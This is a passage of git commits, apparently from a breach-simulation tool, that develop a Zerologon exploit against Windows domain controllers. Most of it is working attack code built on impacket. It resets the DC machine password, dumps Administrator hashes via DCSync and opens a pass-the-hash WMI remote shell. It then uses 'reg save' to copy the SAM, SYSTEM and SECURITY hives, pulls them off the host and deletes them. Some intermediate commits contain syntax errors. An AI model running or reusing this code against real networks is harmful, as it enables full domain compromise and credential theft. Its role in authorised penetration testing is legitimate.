"NetBIOSName$@0.0.0.0" - self.OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP + def get_admin_pwd_hashes(self, DC_NAME, DC_IP) -> str: + options = self.OPTIONS_FOR_SECRETSDUMP.copy() + options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" + options['target_ip'] = DC_IP domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - self.OPTIONS_FOR_SECRETSDUMP['target']).groups('') + options['target']).groups('') # In case the password contains '@' if '@' in remote_name: password = password + '@' + remote_name.rpartition('@')[0] remote_name = remote_name.rpartition('@')[2] - dumper = DumpSecrets(remote_name, username, password, domain, self.OPTIONS_FOR_SECRETSDUMP) + dumped_secrets = self.get_dumped_secrets(remote_name=remote_name, + username=username, + password=password, + domain=domain, + options=options) + for secret in dumped_secrets: + if 'Administrator' in secret: + hashes = secret.split(':')[2:4] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::" + return ':'.join(hashes) # format - "lmhash:nthash" + + def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes): + self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes) + + options = self.OPTIONS_FOR_SECRETSDUMP.copy() + for name in ['system', 'sam', 'security']: + options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') + + dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL', + options=options) + for secret in dumped_secrets: + if '$MACHINE.ACC: ' in secret: # format - "$MACHINE.ACC: lmhash:nthash" + nthash = secret.split(':')[-1] + return nthash + + def get_dumped_secrets(self, remote_name='', username='', password='', domain='', options): + dumper = DumpSecrets(remote_name, username, password, domain, options) dumped_secrets = dumper.dump().split('\n') return dumped_secrets + def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes): + remote_shell = WmiexecRemoteShell(host=self.host, + username='Administrator', + domain=DC_IP, + hashes=':'.join(admin_pwd_hashes)) + if remote_shell: + _set_stdout_to_in_memory() + + # save HKLM keys on host + shell.onecmd('reg save HKLM\SYSTEM system.save && ' + + 'reg save HKLM\SAM sam.save && ' + + 'reg save HKLM\SECURITY security.save') + + # get HKLM keys locally (can't run these together because it needs to call do_get()) + shell.onecmd('get system.save') + shell.onecmd('get sam.save') + shell.onecmd('get security.save') + + # delete saved keys from host + shell.onecmd('del /f system.save sam.save security.save') + + info = _unset_stdout_and_return_captured() + LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") + + else: + raise Exception("Could not start remote shell on DC.") + def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): # Connect to the DC's Netlogon service. rpc_con = self.connect_to_dc(DC_IP) @@ -268,7 +341,7 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL): # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py -# Used to get original password hash +# Used to get Administrator and original DC passwords' hashes class DumpSecrets: def __init__(self, remote_name, username='', password='', domain='', options=None): self.__use_VSS_method = options['use_vss'] @@ -310,16 +383,10 @@ class DumpSecrets: def connect(self): self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) - if self.__do_kerberos: - self.__smb_connection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, - self.__nthash, self.__aes_key, self.__kdc_host) - else: - self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): - orig_stdout = sys.stdout - new_stdout = io.StringIO() - sys.stdout = new_stdout # setting stdout to an in-memory text stream, to capture hashes that would else be printed + _set_stdout_in_memory() dumped_secrets = '' try: @@ -454,9 +521,7 @@ class DumpSecrets: except: pass finally: - sys.stdout = orig_stdout - new_stdout.seek(0) - dumped_secrets = new_stdout.read() # includes hashes and kerberos keys + dumped_secrets = _unset_stdout_and_return_captured() # includes hashes and kerberos keys return dumped_secrets def cleanup(self): @@ -475,3 +540,167 @@ class DumpSecrets: # mention in report explicitly - machine exploited/not (return True, if yes) & password restored/not # mention patching details in report # add exploit info to documentation + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py +# Used to get HKLM keys for restoring original DC password +class WmiexecRemoteShell: + OUTPUT_FILENAME = '__' + str(time.time()) + CODEC = sys.stdout.encoding + + def __init__(self, host, username, password='', domain='', hashes, share=None, noOutput=False): + self.host = host + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash, self.__nthash = hashes.split(':') + self.__share = share + self.__noOutput = noOutput + self.shell = None + + def run(self): + if self.__noOutput is False: + smbConnection = SMBConnection(self.host.ip_addr, self.host.ip_addr) + smbConnection.login(user=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash) + + dcom = DCOMConnection(target=self.host.ip_addr, + username=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + oxidResolver=True) + + try: + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + iWbemLevel1Login.RemRelease() + + win32Process, _ = iWbemServices.GetObject('Win32_Process') + + self.shell = RemoteShell(self.__share, win32Process, smbConnection) + # return self.shell? + except (Exception, KeyboardInterrupt) as e: + LOG.error(str(e)) + smbConnection.logoff() + dcom.disconnect() + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py +# Used to start remote shell on victim +class RemoteShell(cmd.Cmd): + def __init__(self, share, win32Process, smbConnection): + cmd.Cmd.__init__(self) + self.__share = share + self.__output = '\\' + self.OUTPUT_FILENAME + self.__outputBuffer = str('') + self.__shell = 'cmd.exe /Q /c ' + self.__win32Process = win32Process + self.__transferClient = smbConnection + self.__pwd = str('C:\\') + self.__noOutput = True + + # We don't wanna deal with timeouts from now on. + if self.__transferClient is not None: + self.__transferClient.setTimeout(100000) + self.do_cd('\\') + else: + self.__noOutput = True + + def do_get(self, src_path): + try: + import ntpath + newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) + drive, tail = ntpath.splitdrive(newPath) + filename = ntpath.basename(tail) + local_file_path = os.path.join(os.path.expanduser('~'), 'monkey-'+filename) + fh = open(local_file_path, 'wb') + LOG.info("Downloading %s\\%s" % (drive, tail)) + self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) + fh.close() + except Exception as e: + LOG.error(str(e)) + if os.path.exists(local_file_path): + os.remove(local_file_path) + + def do_exit(self, s): + return True + + def do_cd(self, s): + self.execute_remote('cd ' + s) + if len(self.__outputBuffer.strip('\r\n')) > 0: + print(self.__outputBuffer) + self.__outputBuffer = '' + else: + self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) + self.execute_remote('cd ') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = (self.__pwd + '>') + self.__outputBuffer = '' + + def default(self, line): + # Let's try to guess if the user is trying to change drive + if len(line) == 2 and line[1] == ':': + # Execute the command and see if the drive is valid + self.execute_remote(line) + if len(self.__outputBuffer.strip('\r\n')) > 0: + # Something went wrong + print(self.__outputBuffer) + self.__outputBuffer = '' + else: + # Drive valid, now we should get the current path + self.__pwd = line + self.execute_remote('cd ') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = (self.__pwd + '>') + self.__outputBuffer = '' + else: + if line != '': + self.send_data(line) + + def get_output(self): + def output_callback(data): + try: + self.__outputBuffer += data.decode(self.CODEC) + except UnicodeDecodeError: + LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py ' + 'again with -codec and the corresponding codec') + self.__outputBuffer += data.decode(self.CODEC, errors='replace') + + if self.__noOutput is True: + self.__outputBuffer = '' + return + + while True: + try: + self.__transferClient.getFile(self.__share, self.__output, output_callback) + break + except Exception as e: + if str(e).find('STATUS_SHARING_VIOLATION') >= 0: + # Output not finished, let's wait + time.sleep(1) + pass + elif str(e).find('Broken') >= 0: + # The SMB Connection might have timed out, let's try reconnecting + LOG.debug('Connection broken, trying to recreate it') + self.__transferClient.reconnect() + return self.get_output() + self.__transferClient.deleteFile(self.__share, self.__output) + + def execute_remote(self, data): + command = self.__shell + data + if self.__noOutput is False: + command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' + self.__win32Process.Create(command, self.__pwd, None) + self.get_output() + + def send_data(self, data): + self.execute_remote(data) + print(self.__outputBuffer) + self.__outputBuffer = '' From 13ef69c3eded9adb163ef11473517cf84bc253a3 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 26 Jan 2021 16:52:48 +0530 Subject: [PATCH 284/466] Clean up code and comments --- monkey/infection_monkey/exploit/zerologon.py | 152 +++++++++--------- .../network/zerologon_fingerprint.py | 10 +- 2 files changed, 84 insertions(+), 78 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 2631027ed..b3381495f 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -15,7 +15,9 @@ import os import re import sys import time +import traceback from binascii import hexlify, unhexlify +from typing import List import impacket from Cryptodome.Cipher import AES, ARC4, DES @@ -43,7 +45,7 @@ _orig_stdout = None _new_stdout = None -def _set_stdout_to_in_memory(): +def _set_stdout_to_in_memory_text_stream(): # set stdout to in-memory text stream, to capture info that would otherwise be printed _orig_stdout = sys.stdout _new_stdout = io.StringIO() @@ -65,16 +67,19 @@ class ZerologonExploiter(HostExploiter): { 'aes_key': None, 'bootkey': None, + 'can_process_SAM_LSA': True, 'dc_ip': None, 'debug': False, 'exec_method': 'smbexec', 'hashes': None, 'history': False, + 'is_remote' True, 'just_dc': True, 'just_dc_ntlm': False, 'just_dc_user': None, 'k': False, 'keytab': None, + 'no_lmhash': True, 'no_pass': True, 'ntds': None, 'outputfile': None, @@ -96,7 +101,7 @@ class ZerologonExploiter(HostExploiter): self.zerologon_finger = ZerologonFinger() def _exploit_host(self): - DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details() + DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details() if self.is_exploitable(): LOG.info("Target vulnerable, changing account password to empty string.") @@ -127,19 +132,21 @@ class ZerologonExploiter(HostExploiter): else: LOG.info("Non-zero return code, something went wrong.") - # restore password - self.restore_password(DC_HANDLE, DC_IP, DC_NAME) + _exploited = True ## how do i execute monkey on the exploited machine? else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") + _exploited = False - def get_dc_details(self): - dc_ip = self.host.ip_addr - dc_name = self.zerologon_finger.get_dc_name(dc_ip) - dc_handle = '\\\\' + dc_name - return dc_ip, dc_name, dc_handle + # Restore DC's original password. + if _exploited: + try: + self.restore_password(DC_HANDLE, DC_IP, DC_NAME) + LOG.info("System exploited and password restored successfully.") + except: + LOG.info("System exploited but couldn't restore password!") def is_exploitable(self): return self.zerologon_finger.get_host_fingerprint(self.host) @@ -166,7 +173,6 @@ class ZerologonExploiter(HostExploiter): return rpc_con.request(request) def restore_password(self, DC_HANDLE, DC_IP, DC_NAME): - # Keep authenticating until successful. LOG.info("Restoring original password...") LOG.info("DCSync; getting original password hashes.") @@ -177,7 +183,10 @@ class ZerologonExploiter(HostExploiter): raise Exception("Couldn't extract admin password's hashes.") original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes) + if not original_pwd_nthash: + raise Exception("Couldn't extract original DC password's nthash.") + # Keep authenticating until successful. for _ in range(0, self.MAX_ATTEMPTS): rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) if rpc_con is not None: @@ -195,67 +204,63 @@ class ZerologonExploiter(HostExploiter): options = self.OPTIONS_FOR_SECRETSDUMP.copy() options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" options['target_ip'] = DC_IP + options['dc_ip'] = DC_IP - domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options['target']).groups('') - - # In case the password contains '@' - if '@' in remote_name: - password = password + '@' + remote_name.rpartition('@')[0] - remote_name = remote_name.rpartition('@')[2] - - dumped_secrets = self.get_dumped_secrets(remote_name=remote_name, - username=username, - password=password, - domain=domain, - options=options) + dumped_secrets = self.get_dumped_secrets(options=options + remote_name=DC_IP, + username=DC_NAME) for secret in dumped_secrets: if 'Administrator' in secret: - hashes = secret.split(':')[2:4] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::" + hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::" return ':'.join(hashes) # format - "lmhash:nthash" - def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes): - self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes) + def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes) -> str: + if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes): + return options = self.OPTIONS_FOR_SECRETSDUMP.copy() for name in ['system', 'sam', 'security']: options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') + options['dc_ip'] = DC_IP - dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL', - options=options) + dumped_secrets = self.get_dumped_secrets(options=options, + remote_name='LOCAL') for secret in dumped_secrets: - if '$MACHINE.ACC: ' in secret: # format - "$MACHINE.ACC: lmhash:nthash" - nthash = secret.split(':')[-1] + if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash" + nthash = secret.split(':')[2] return nthash - def get_dumped_secrets(self, remote_name='', username='', password='', domain='', options): + def get_dumped_secrets(self, options, remote_name='', username='', password='', domain='') -> List[str]: dumper = DumpSecrets(remote_name, username, password, domain, options) dumped_secrets = dumper.dump().split('\n') return dumped_secrets def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes): - remote_shell = WmiexecRemoteShell(host=self.host, - username='Administrator', - domain=DC_IP, - hashes=':'.join(admin_pwd_hashes)) - if remote_shell: - _set_stdout_to_in_memory() + wmiexec = Wmiexec(ip=DC_IP, + username='Administrator', + hashes=admin_pwd_hashes, + domain=DC_IP) - # save HKLM keys on host + remote_shell = wmiexec.run() + if remote_shell: + _set_stdout_to_in_memory_text_stream() + + # Save HKLM keys on host. shell.onecmd('reg save HKLM\SYSTEM system.save && ' + 'reg save HKLM\SAM sam.save && ' + 'reg save HKLM\SECURITY security.save') - # get HKLM keys locally (can't run these together because it needs to call do_get()) + # Get HKLM keys locally (can't run these together because it needs to call do_get()). shell.onecmd('get system.save') shell.onecmd('get sam.save') shell.onecmd('get security.save') - # delete saved keys from host + # Delete saved keys on host. shell.onecmd('del /f system.save sam.save security.save') info = _unset_stdout_and_return_captured() LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") + return True else: raise Exception("Could not start remote shell on DC.") @@ -364,8 +369,8 @@ class DumpSecrets: self.__sam_hive = options['sam'] self.__ntds_file = options['ntds'] self.__history = options['history'] - self.__no_lmhash = True - self.__is_remote = True + self.__no_lmhash = options['no_lmhash'] + self.__is_remote = options['is_remote'] self.__output_file_name = options['outputfile'] self.__do_kerberos = options['k'] self.__just_DC = options['just_dc'] @@ -374,7 +379,7 @@ class DumpSecrets: self.__pwd_last_set = options['pwd_last_set'] self.__print_user_status = options['user_status'] self.__resume_file_name = options['resumefile'] - self.__can_process_SAM_LSA = True + self.__can_process_SAM_LSA = options['can_process_SAM_LSA'] self.__kdc_host = options['dc_ip'] self.__options = options @@ -386,7 +391,7 @@ class DumpSecrets: self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): - _set_stdout_in_memory() + _set_stdout_to_in_memory_text_stream() dumped_secrets = '' try: @@ -397,7 +402,7 @@ class DumpSecrets: local_operations = LocalOperations(self.__system_hive) bootkey = local_operations.getBootKey() if self.__ntds_file is not None: - # Let's grab target's configuration about LM Hashes storage + # Let's grab target's configuration about LM Hashes storage. self.__no_lmhash = local_operations.checkNoLMHashPolicy() else: import binascii @@ -424,20 +429,20 @@ class DumpSecrets: if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: self.__remote_ops.enableRegistry() bootkey = self.__remote_ops.getBootKey() - # Let's check whether target system stores LM Hashes + # Let's check whether target system stores LM Hashes. self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() except Exception as e: self.__can_process_SAM_LSA = False if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ and self.__do_kerberos is True: - # Giving some hints here when SPN target name validation is set to something different to Off - # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ + # Giving some hints here when SPN target name validation is set to something different to Off. + # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + 'Try -just-dc-user') else: LOG.error('RemoteOperations failed: %s' % str(e)) - # If RemoteOperations succeeded, then we can extract SAM and LSA + # If RemoteOperations succeeded, then we can extract SAM and LSA. if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: try: if self.__is_remote is True: @@ -467,12 +472,10 @@ class DumpSecrets: if self.__output_file_name is not None: self.__LSA_secrets.exportSecrets(self.__output_file_name) except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() + LOG.debug(traceback.print_exc()) LOG.error('LSA hashes extraction failed: %s' % str(e)) - # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. if self.__is_remote is True: if self.__use_VSS_method and self.__remote_ops is not None: NTDS_file_name = self.__remote_ops.saveNTDS() @@ -490,16 +493,14 @@ class DumpSecrets: try: self.__NTDS_hashes.dump() except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() + LOG.debug(traceback.print_exc()) if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. resume_file = self.__NTDS_hashes.getResumeSessionFile() if resume_file is not None: os.unlink(resume_file) - logging.error(e) + LOG.error(e) if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: LOG.error("You just got that error because there might be some duplicates of the same name. " "Try specifying the domain name for the user as well. It is important to specify it " @@ -508,8 +509,7 @@ class DumpSecrets: LOG.error('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') self.cleanup() except (Exception, KeyboardInterrupt) as e: - import traceback - print(traceback.format_exc()) + LOG.debug(traceback.print_exc()) LOG.error(e) if self.__NTDS_hashes is not None: if isinstance(e, KeyboardInterrupt): @@ -544,12 +544,11 @@ class DumpSecrets: # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py # Used to get HKLM keys for restoring original DC password -class WmiexecRemoteShell: +class Wmiexec: OUTPUT_FILENAME = '__' + str(time.time()) - CODEC = sys.stdout.encoding - def __init__(self, host, username, password='', domain='', hashes, share=None, noOutput=False): - self.host = host + def __init__(self, ip, username, hashes, password='', domain='', share=None, noOutput=False): + self.__ip = ip self.__username = username self.__password = password self.__domain = domain @@ -560,14 +559,14 @@ class WmiexecRemoteShell: def run(self): if self.__noOutput is False: - smbConnection = SMBConnection(self.host.ip_addr, self.host.ip_addr) + smbConnection = SMBConnection(self.__ip, self.__ip) smbConnection.login(user=self.__username, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash) - dcom = DCOMConnection(target=self.host.ip_addr, + dcom = DCOMConnection(target=self.__ip, username=self.__username, password=self.__password, domain=self.__domain, @@ -583,8 +582,9 @@ class WmiexecRemoteShell: win32Process, _ = iWbemServices.GetObject('Win32_Process') - self.shell = RemoteShell(self.__share, win32Process, smbConnection) - # return self.shell? + self.shell = RemoteShell(self.__share, win32Process, smbConnection, OUTPUT_FILENAME) + return self.shell + except (Exception, KeyboardInterrupt) as e: LOG.error(str(e)) smbConnection.logoff() @@ -594,10 +594,12 @@ class WmiexecRemoteShell: # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py # Used to start remote shell on victim class RemoteShell(cmd.Cmd): - def __init__(self, share, win32Process, smbConnection): + CODEC = sys.stdout.encoding + + def __init__(self, share, win32Process, smbConnection, outputFilename): cmd.Cmd.__init__(self) self.__share = share - self.__output = '\\' + self.OUTPUT_FILENAME + self.__output = '\\' + outputFilename self.__outputBuffer = str('') self.__shell = 'cmd.exe /Q /c ' self.__win32Process = win32Process @@ -644,16 +646,16 @@ class RemoteShell(cmd.Cmd): self.__outputBuffer = '' def default(self, line): - # Let's try to guess if the user is trying to change drive + # Let's try to guess if the user is trying to change drive. if len(line) == 2 and line[1] == ':': - # Execute the command and see if the drive is valid + # Execute the command and see if the drive is valid. self.execute_remote(line) if len(self.__outputBuffer.strip('\r\n')) > 0: - # Something went wrong + # Something went wrong. print(self.__outputBuffer) self.__outputBuffer = '' else: - # Drive valid, now we should get the current path + # Drive valid, now we should get the current path. self.__pwd = line self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') @@ -683,11 +685,11 @@ class RemoteShell(cmd.Cmd): break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: - # Output not finished, let's wait + # Output not finished, let's wait. time.sleep(1) pass elif str(e).find('Broken') >= 0: - # The SMB Connection might have timed out, let's try reconnecting + # The SMB Connection might have timed out, let's try reconnecting. LOG.debug('Connection broken, trying to recreate it') self.__transferClient.reconnect() return self.get_output() diff --git a/monkey/infection_monkey/network/zerologon_fingerprint.py b/monkey/infection_monkey/network/zerologon_fingerprint.py index bf14a5dc9..d281ad373 100644 --- a/monkey/infection_monkey/network/zerologon_fingerprint.py +++ b/monkey/infection_monkey/network/zerologon_fingerprint.py @@ -22,14 +22,12 @@ class ZerologonFinger(HostFinger): Checks if the Windows Server is vulnerable to Zerologon. """ - DC_IP = host.ip_addr - DC_NAME = self.get_dc_name(DC_IP) + DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details() if DC_NAME: # if it is a Windows DC # Keep authenticating until successful. # Expected average number of attempts needed: 256. # Approximate time taken by 2000 attempts: 40 seconds. - DC_HANDLE = '\\\\' + DC_NAME LOG.info('Performing Zerologon authentication attempts...') rpc_con = None @@ -57,6 +55,12 @@ class ZerologonFinger(HostFinger): LOG.info('Error encountered; most likely not a Windows Domain Controller.') return False + def get_dc_details(self): + DC_IP = self.host.ip_addr + DC_NAME = self.get_dc_name(DC_IP) + DC_HANDLE = '\\\\' + DC_NAME + return DC_IP, DC_NAME, DC_HANDLE + def get_dc_name(self, DC_IP): """ Gets NetBIOS name of the Domain Controller (DC). From 1cf07eff890e09e035b205102fbef3e0a2742325 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 26 Jan 2021 17:54:12 +0530 Subject: [PATCH 285/466] Improve log messages and comments --- monkey/infection_monkey/exploit/zerologon.py | 61 +++++++++++--------- 1 file changed, 34 insertions(+), 27 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index b3381495f..15ccefcac 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -17,7 +17,6 @@ import sys import time import traceback from binascii import hexlify, unhexlify -from typing import List import impacket from Cryptodome.Cipher import AES, ARC4, DES @@ -111,26 +110,26 @@ class ZerologonExploiter(HostExploiter): # Start exploiting attempts. # Max attempts = 2000. Expected average number of attempts needed: 256. + LOG.debug("Attempting exploit.") result = None for _ in range(0, self.MAX_ATTEMPTS): try: result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME) - except nrpc.DCERPCSessionError as ex: + except nrpc.DCERPCSessionError as e: # Failure should be due to a STATUS_ACCESS_DENIED error. # Otherwise, the attack is probably not working. - if ex.get_error_code() != 0xc0000022: - LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}") - except BaseException as ex: - LOG.info(f"Unexpected error: {ex}") + if e.get_error_code() != 0xc0000022: + LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") + except BaseException as e: + LOG.info(f"Unexpected error: {e}") if result is not None: break - LOG.debug(f"Result error code: {result['ErrorCode']}") if result['ErrorCode'] == 0: LOG.info("Exploit complete!") else: - LOG.info("Non-zero return code, something went wrong.") + LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.") _exploited = True @@ -142,11 +141,14 @@ class ZerologonExploiter(HostExploiter): # Restore DC's original password. if _exploited: - try: - self.restore_password(DC_HANDLE, DC_IP, DC_NAME) + if self.restore_password(DC_HANDLE, DC_IP, DC_NAME): LOG.info("System exploited and password restored successfully.") - except: + else: LOG.info("System exploited but couldn't restore password!") + else: + LOG.info("System was not exploited.") + + return _exploited def is_exploitable(self): return self.zerologon_finger.get_host_fingerprint(self.host) @@ -175,32 +177,35 @@ class ZerologonExploiter(HostExploiter): def restore_password(self, DC_HANDLE, DC_IP, DC_NAME): LOG.info("Restoring original password...") - LOG.info("DCSync; getting original password hashes.") + LOG.debug("DCSync; getting admin password's hashes.") admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP) try: if not admin_pwd_hashes: raise Exception("Couldn't extract admin password's hashes.") + LOG.debug("Getting original DC password's nthash.") original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes) if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's nthash.") # Keep authenticating until successful. + LOG.debug("Attempting password restoration.") for _ in range(0, self.MAX_ATTEMPTS): rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) if rpc_con is not None: break if rpc_con: - LOG.info("DC machine account password should be restored to its original value.") + LOG.debug("DC machine account password should be restored to its original value.") + return True else: - LOG.info("Failed to restore password.") + raise Exception("Failed to restore password! Max attempts exceeded?") except Exception as e: LOG.error(e) - def get_admin_pwd_hashes(self, DC_NAME, DC_IP) -> str: + def get_admin_pwd_hashes(self, DC_NAME, DC_IP): options = self.OPTIONS_FOR_SECRETSDUMP.copy() options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" options['target_ip'] = DC_IP @@ -214,7 +219,7 @@ class ZerologonExploiter(HostExploiter): hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::" return ':'.join(hashes) # format - "lmhash:nthash" - def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes) -> str: + def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes): if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes): return @@ -230,12 +235,14 @@ class ZerologonExploiter(HostExploiter): nthash = secret.split(':')[2] return nthash - def get_dumped_secrets(self, options, remote_name='', username='', password='', domain='') -> List[str]: + def get_dumped_secrets(self, options, remote_name='', username='', password='', domain=''): dumper = DumpSecrets(remote_name, username, password, domain, options) dumped_secrets = dumper.dump().split('\n') return dumped_secrets def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes): + LOG.debug("Starting remote shell on victim.") + wmiexec = Wmiexec(ip=DC_IP, username='Administrator', hashes=admin_pwd_hashes, @@ -245,7 +252,7 @@ class ZerologonExploiter(HostExploiter): if remote_shell: _set_stdout_to_in_memory_text_stream() - # Save HKLM keys on host. + # Save HKLM keys on victim. shell.onecmd('reg save HKLM\SYSTEM system.save && ' + 'reg save HKLM\SAM sam.save && ' + 'reg save HKLM\SECURITY security.save') @@ -255,7 +262,7 @@ class ZerologonExploiter(HostExploiter): shell.onecmd('get sam.save') shell.onecmd('get security.save') - # Delete saved keys on host. + # Delete saved keys on victim. shell.onecmd('del /f system.save sam.save security.save') info = _unset_stdout_and_return_captured() @@ -310,20 +317,20 @@ class ZerologonExploiter(HostExploiter): resp = rpc_con.request(request) resp.dump() - except Exception as ex: - LOG.info(f"Unexpected error: {ex}") + except Exception as e: + LOG.info(f"Unexpected error: {e}") return rpc_con - except nrpc.DCERPCSessionError as ex: + except nrpc.DCERPCSessionError as e: # Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working. - if ex.get_error_code() == 0xc0000022: + if e.get_error_code() == 0xc0000022: return None else: - LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}") + LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") - except BaseException as ex: - LOG.info(f"Unexpected error: {ex}") + except BaseException as e: + LOG.info(f"Unexpected error: {e}") class NetrServerPasswordSet(nrpc.NDRCALL): @@ -525,7 +532,7 @@ class DumpSecrets: return dumped_secrets def cleanup(self): - LOG.info('Cleaning up...') + LOG.debug('Cleaning up...') if self.__remote_ops: self.__remote_ops.finish() if self.__SAM_hashes: From b57605b58dbcc3688259ca0c80687d8ee313eca4 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 26 Jan 2021 23:59:11 +0530 Subject: [PATCH 286/466] Changes from manual testing --- monkey/infection_monkey/exploit/zerologon.py | 67 ++++++++++--------- .../network/zerologon_fingerprint.py | 6 +- 2 files changed, 37 insertions(+), 36 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 15ccefcac..dfab6b957 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -45,6 +45,7 @@ _new_stdout = None def _set_stdout_to_in_memory_text_stream(): + global _orig_stdout, _new_stdout # set stdout to in-memory text 